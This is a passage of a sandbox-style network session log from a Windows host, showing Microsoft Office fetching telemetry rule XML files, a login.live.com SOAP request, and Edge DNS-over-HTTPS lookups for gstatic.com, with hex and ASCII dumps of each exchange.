14	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182225Z-1866b5c5fbbtpjhjhC1DFWr6tw000000031000000000f0ay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:25 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182225Z-164f84587bf5rpzqhC1DFWmra8000000038g0000000025ms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:25 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49747	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:25 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:25 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 91b2d70d-d381-4e4a-a227-d85d7fe5fe88 PPServer: PPV: 30 H: SN1PEPF0002F18A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:25 GMT Connection: close Content-Length: 1276
2024-11-16 18:22:25 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 9a209ebf-201e-0096-69f1-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182226Z-164f84587bfsqsthhC1DFWh630000000028000000000cgpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bc7018b2-201e-003f-17bb-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182226Z-16547b76f7fk9g8vhC1DFW825400000003w000000000fegc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c134a622-501e-008c-78af-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182226Z-1866b5c5fbbfhwqqhC1DFW513800000002mg000000007xz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:26 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182226Z-16547b76f7f5b5tthC1DFWuk8400000001v000000000542d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:26 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 093990f7-401e-0048-6d75-360409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182226Z-164f84587bfdl84ghC1DFWbbhc00000003cg000000007d1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49789	162.159.61.3	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 18:22:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 18:22:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3981a7cc1c6bb3-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 18:22:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 df 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49788	162.159.61.3	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 18:22:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 18:22:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3981a7cba5465f-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 18:22:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$q^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49790	162.159.61.3	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:26 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 18:22:26 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 18:22:26 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 18:22:26 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3981a7dd2bead1-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 18:22:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 42 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomB^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49786	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
